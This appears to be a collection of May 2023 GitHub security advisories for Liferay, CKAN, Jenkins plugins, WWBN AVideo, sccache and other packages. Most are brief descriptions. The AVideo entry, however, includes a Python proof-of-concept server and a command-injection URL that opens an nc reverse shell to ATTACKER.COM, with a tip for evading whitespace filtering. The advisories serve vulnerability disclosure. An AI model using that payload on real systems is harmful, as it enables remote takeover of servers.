Liferay Portal has Inefficient Regular Expression (GHSA-chrc-q6v3-jfv8)
Aliases: CVE-2023-33950
Published: 2023-05-24T18:30:26Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Affected: [{'package': {'ecosystem': 'Maven', 'name': 'com.liferay.portal:release.portal.bom'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '7.4.3.48'}, {'fixed': '7.4.3.77'}]}]}]

Pattern Redirects in Liferay Portal 7.4.3.48 through 7.4.3.76, and Liferay DXP 7.4 update 48 through 76 allows regular expressions that are vulnerable to ReDoS attacks to be used as patterns, which allows remote attackers to consume an excessive amount of server resources via crafted request URLs.
Privilege escalation in XXL-Job (GHSA-9mmj-64jh-ph9c)
Aliases: CVE-2023-33779
Published: 2023-05-26T18:30:21Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Affected: [{'package': {'ecosystem': 'Maven', 'name': 'com.xuxueli:xxl-job'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'last_affected': '2.4.1'}]}]}]

A lateral privilege escalation vulnerability in XXL-Job v2.4.1 allows users to execute arbitrary commands on another user's account via a crafted POST request to the component `/jobinfo/`.
Hazelcast vulnerable to unmasked password exposure (GHSA-5gj6-62g7-vmgf)
Aliases: CVE-2023-33264
Published: 2023-05-22T03:30:16Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Affected: [{'package': {'ecosystem': 'Maven', 'name': 'com.hazelcast:hazelcast'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '5.3.0'}]}]}]

In Hazelcast before 5.3.0, configuration routines don't mask passwords in the member configuration properly. This allows Hazelcast Management Center users to view some of the secrets.
Ckan remote code execution and private information access via crafted resource ids (GHSA-446m-hmmm-hm8m)
Aliases: CVE-2023-32321
Published: 2023-05-24T17:24:56Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Affected: [{'package': {'ecosystem': 'PyPI', 'name': 'ckan'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.9.9'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'ckan'}, 'versions': ['2.10.0']}]

Specific vulnerabilities:

* Arbitrary file write in `resource_create` and `package_update` actions, using the `ResourceUploader` object.  Also reachable via `package_create`, `package_revise`, and `package_patch` via calls to `package_update`.
* Remote code execution via unsafe pickle loading, via Beaker's session store when configured to use the file session store backend.
* Potential DOS due to lack of a length check on the resource id.
* Information disclosure: A user with permission to create a resource can access any other resource on the system if they know the id, even if they don't have access to it.
* Resource overwrite: A user with permission to create a resource can overwrite any resource if they know the id, even if they don't have access to it.  

### Impact

A user with permissions to create or edit a dataset can upload a resource with a specially crafted id to write the uploaded file in an arbitrary location. This can be leveraged to Remote Code Execution via Beaker's insecure pickle loading. 

### Patches

All the above listed vulnerabilities have been fixed in CKAN 2.9.9 and CKAN 2.10.1
The patches for CKAN 2.9 should apply easily to previous CKAN versions.
Liferay portal unauthorized access to objects via OAuth 2 scope (GHSA-2868-ff44-43qv)
Aliases: CVE-2023-33946
Published: 2023-05-24T18:30:26Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Affected: [{'package': {'ecosystem': 'Maven', 'name': 'com.liferay.portal:release.portal.bom'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '7.4.3.4'}, {'fixed': '7.4.3.49'}]}]}]

The Object module in Liferay Portal 7.4.3.4 through 7.4.3.48, and Liferay DXP 7.4 before update 49 does properly isolate objects in difference virtual instances, which allows remote authenticated users in one virtual instance to view objects in a different virtual instance via OAuth 2 scope administration page.
Jenkins SAML Single Sign On(SSO) Plugin Cross-Site Request Forgery vulnerability (GHSA-xw6j-mq6v-pmv6)
Aliases: CVE-2023-32991
Published: 2023-05-16T18:30:16Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N
Affected: [{'package': {'ecosystem': 'Maven', 'name': 'io.jenkins.plugins:miniorange-saml-sp'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.1.0'}]}]}]

Jenkins SAML Single Sign On(SSO) Plugin 2.0.2 and earlier does not perform permission checks in multiple HTTP endpoints.

This allows attackers with Overall/Read permission to send an HTTP request to an attacker-specified URL and parse the response as XML, or parse a local file on the Jenkins controller as XML.

As the plugin does not configure its XML parser to prevent XML external entity (XXE) attacks, attackers can have Jenkins parse a crafted XML response that uses external entities for extraction of secrets from the Jenkins controller or server-side request forgery.

Additionally, these HTTP endpoints do not require POST requests, resulting in a cross-site request forgery (CSRF) vulnerability.

SAML Single Sign On(SSO) Plugin 2.1.0 requires POST requests and Overall/Administer permission for the affected HTTP endpoints.
WWBN AVideo command injection vulnerability (GHSA-2mhh-27v7-3vcx)
Aliases: CVE-2023-32073
Published: 2023-05-12T20:20:39Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Affected: [{'package': {'ecosystem': 'Packagist', 'name': 'wwbn/avideo'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'last_affected': '12.4'}]}]}]

# WWBN AVideo Authenticated RCE 

A command injection vulnerability exists at `plugin/CloneSite/cloneClient.json.php` which allows Remote Code Execution if you CloneSite Plugin. This is a bypass to the fix for [CVE-2023-30854](https://cve.report/CVE-2023-30854) which affects WWBN Avideo up to version 12.3

## Vulnerable Code

/plugin/CloneSite/cloneClient.json.php

```php
$json->sqlFile = escapeshellarg(preg_replace('/[^a-z0-9_.-]/i', '', $json->sqlFile));
$json->videoFiles = escapeshellarg(preg_replace('/[^a-z0-9_.-]/i', '', $json->videoFiles));
$json->photoFiles = escapeshellarg(preg_replace('/[^a-z0-9_.-]/i', '', $json->photoFiles));

// get dump file
$cmd = "wget -O {$clonesDir}{$json->sqlFile} {$objClone->cloneSiteURL}videos/cache/clones/{$json->sqlFile}";
$log->add("Clone (2 of {$totalSteps}): Geting MySQL Dump file");
exec($cmd . " 2>&1", $output, $return_val);
```

The `$objClone->cloneSiteURL` is not properly sanitized.
## Exploit Proof-of-Concept

avidexploit.py
```python
from http.server import BaseHTTPRequestHandler, HTTPServer
import time

hostName = "localhost"
serverPort = 8080

class MyServer(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-type", "application/json")
        self.end_headers()
        self.wfile.write(bytes("{\"error\":false,\"msg\":\"\",\"url\":\"https:\/\/attacker.com/\/\",\"key\":\"2d6db3c09e41a9c27dbc72aecc4a6fc0\",\"useRsync\":1,\"videosDir\":\"\/var\/www\/html\/demo.avideo.com\/videos\/\",\"sqlFile\":\"Clone_mysqlDump_644ab263e62d6.sql\",\"videoFiles\":[],\"photoFiles\":[]}", "utf-8"))

if __name__ == "__main__":        
    webServer = HTTPServer((hostName, serverPort), MyServer)
    print("Server started http://%s:%s" % (hostName, serverPort))

    try:
        webServer.serve_forever()
    except KeyboardInterrupt:
        pass

    webServer.server_close()
    print("Server stopped.")
```

Run in command line
```bash
$ python3 avidexploit.py &
$ ngrok tcp 8080 # optional if not running in VPS
```
- Then get your public facing IP and Port. Enter a cloneSiteURL like the following then hit clone to achieve command injection
```bash
http://2.tcp.ngrok.io:14599/;nc$IFS'ATTACKER.COM'$IFS'5555'$IFS-e$IFS/bin/sh;#
```

**It is important to not use white spaces for the exploit to work. Replace whitespace with `$IFS` when adding arguments to your RCE**


![poc](https://i.ibb.co/bdpQYcK/2023-05-07-17-04-43-online-video-cutter-com.gif)

## Credits

- JM Sanchez
- [https://www.linkedin.com/in/juanmarcosanchez/](https://www.linkedin.com/in/juanmarcosanchez/)
On a compromised node, the fluid-csi service account can be used to modify node specs (GHSA-93xx-cvmc-9w3v)
Aliases: CVE-2023-30840
Published: 2023-05-09T19:58:47Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:U/C:H/I:N/A:N
Affected: [{'package': {'ecosystem': 'Go', 'name': 'github.com/fluid-cloudnative/fluid'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0.7.0'}, {'fixed': '0.8.6'}]}]}]

### Impact

If a malicious user gains control of a Kubernetes node running fluid csi pod (controlled by the `csi-nodeplugin-fluid` node-daemonset), he/she can leverage the fluid-csi service account to modify specs of all the nodes in the cluster. However, since this service account lacks "list node" permissions, the attacker may need to use other techniques to identify vulnerable nodes.

Once the attacker identifies and modifies the node specs, he/she can manipulate system-level-privileged components to access all secrets in the cluster or execute pods on other nodes. This allows he/she to elevate privileges beyond the compromised node and potentially gain full privileged access to the whole cluster.

To exploit this vulnerability, the attacker can make all other nodes unschedulable (for example, patch node with taints) and wait for system-critical components with high privilege to appear on the compromised node. However, this attack requires two prerequisites: a compromised node and identifying all vulnerable nodes through other means. Additionally, since the attack is passive and requires patience and luck, the severity of this finding is considered medium.

### Patches
For users who're using version < 0.8.6, >= 0.7.0, upgrade to v0.8.6.

### Workarounds
Delete the `csi-nodeplugin-fluid` daemonset in `fluid-system` namespace and avoid using CSI mode to mount FUSE file systems. Alternatively using sidecar mode to mount FUSE file systems is recommended. Refer to [the doc](https://github.com/fluid-cloudnative/fluid/blob/master/docs/en/samples/knative.md) to get a full example of how to use sidecar mode.

### References


Fixed by [Fix rbacs and limit CSI Plugin's node related access](https://github.com/fluid-cloudnative/fluid/commit/77c8110a3d1ec077ae2bce6bd88d296505db1550)

### Credits
Special thanks to the discoverers of this issue:

Nanzi Yang ([nzyang@stu.xidian.edu.cn](mailto:nzyang@stu.xidian.edu.cn))
Cross-site scripting in Liferay Portal (GHSA-wv99-wmpf-jrqr)
Aliases: CVE-2023-33942
Published: 2023-05-24T15:30:27Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Affected: [{'package': {'ecosystem': 'Maven', 'name': 'com.liferay.portal:release.portal.bom'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '7.4.3.50'}, {'fixed': '7.4.3.51'}]}], 'versions': ['7.4.3.50']}]

Cross-site scripting (XSS) vulnerability in the Web Content Display widget's article selector in Liferay Liferay Portal 7.4.3.50, and Liferay DXP 7.4 update 50 allows remote attackers to inject arbitrary web script or HTML via a crafted payload injected into a web content article's `Title` field.
sccache vulnerable to privilege escalation if server is run as root (GHSA-x7fr-pg8f-93f5)
Aliases: CVE-2023-1521
Published: 2023-05-30T20:06:02Z
Affected: [{'package': {'ecosystem': 'crates.io', 'name': 'sccache'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '0.4.0'}]}]}]

### Impact

On Linux the `sccache` client can execute arbitrary code with the privileges of a local `sccache` server, by preloading the code in a shared library passed to `LD_PRELOAD`.

If the server is run as root (which is the default when installing the [snap package](https://snapcraft.io/sccache)), this means a user running the `sccache` client can get root privileges.


### Patches
Upgrade to 0.4.0

### Workarounds
Don't run sccache server as root. 

###  GitHub Security Lab number

GHSL-2023-046
Jenkins SAML Single Sign On(SSO) Plugin missing permission checks (GHSA-3xf9-pgc2-mr9c)
Aliases: CVE-2023-32992
Published: 2023-05-16T18:30:16Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N
Affected: [{'package': {'ecosystem': 'Maven', 'name': 'io.jenkins.plugins:miniorange-saml-sp'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.1.0'}]}]}]

Jenkins SAML Single Sign On(SSO) Plugin 2.0.2 and earlier does not perform permission checks in multiple HTTP endpoints.

This allows attackers with Overall/Read permission to send an HTTP request to an attacker-specified URL and parse the response as XML, or parse a local file on the Jenkins controller as XML.

As the plugin does not configure its XML parser to prevent XML external entity (XXE) attacks, attackers can have Jenkins parse a crafted XML response that uses external entities for extraction of secrets from the Jenkins controller or server-side request forgery.

Additionally, these HTTP endpoints do not require POST requests, resulting in a cross-site request forgery (CSRF) vulnerability.

SAML Single Sign On(SSO) Plugin 2.1.0 requires POST requests and Overall/Administer permission for the affected HTTP endpoints.
Jenkins Azure VM Agents Plugin missing permission checks (GHSA-rv6g-3v76-cvf9)
Aliases: CVE-2023-32990
Published: 2023-05-16T18:30:16Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Affected: [{'package': {'ecosystem': 'Maven', 'name': 'org.jenkins-ci.plugins:azure-vm-agents'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '853.v4a'}]}]}]

Jenkins Azure VM Agents Plugin 852.v8d35f0960a_43 and earlier does not perform permission checks in several HTTP endpoints.

This allows attackers with Overall/Read permission to connect to an attacker-specified Azure Cloud server using attacker-specified credentials IDs obtained through another method.

Additionally, these HTTP endpoints do not require POST requests, resulting in a cross-site request forgery (CSRF) vulnerability.

Azure VM Agents Plugin 853.v4a_1a_dd947520 requires POST requests and the appropriate permissions for the affected HTTP endpoints.
Apache OpenMeetings vulnerable to remote code execution via null-bye injection (GHSA-mg5h-f3q8-c96g)
Aliases: CVE-2023-29246
Published: 2023-05-12T09:30:14Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Affected: [{'package': {'ecosystem': 'Maven', 'name': 'org.apache.openmeetings:openmeetings-parent'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.0.0'}, {'fixed': '7.1.0'}]}]}]

An attacker who has gained access to an admin account can perform RCE via null-byte injection

Vendor: The Apache Software Foundation

Versions Affected: Apache OpenMeetings from 2.0.0 before 7.1.0
Jenkins Pipeline Utility Steps Plugin arbitrary file write vulnerability (GHSA-6987-xccv-fhjp)
Aliases: CVE-2023-32981
Published: 2023-05-16T18:30:16Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
Affected: [{'package': {'ecosystem': 'Maven', 'name': 'org.jenkins-ci.plugins:pipeline-utility-steps'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.15.3'}]}]}]

Jenkins Pipeline Utility Steps Plugin provides the `untar` and `unzip` Pipeline steps to extract archives into job workspaces.

Pipeline Utility Steps Plugin 2.15.2 and earlier does not validate or limit file paths of files contained within these archives.

This allows attackers able to provide crafted archives as parameters to create or replace arbitrary files on the agent file system with attacker-specified content.

Pipeline Utility Steps Plugin 2.15.3 rejects extraction of files in `tar` and `zip` archives that would be placed outside the expected destination directory.
phpMyFAQ vulnerable to stored Cross-site Scripting (GHSA-vppq-6ff8-2m8w)
Aliases: CVE-2023-2753
Published: 2023-05-17T09:30:16Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Affected: [{'package': {'ecosystem': 'Packagist', 'name': 'thorsten/phpmyfaq'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '3.2.0-beta'}]}]}]

Cross-site Scripting (XSS) - Stored in GitHub repository thorsten/phpmyfaq prior to 3.2.0-beta.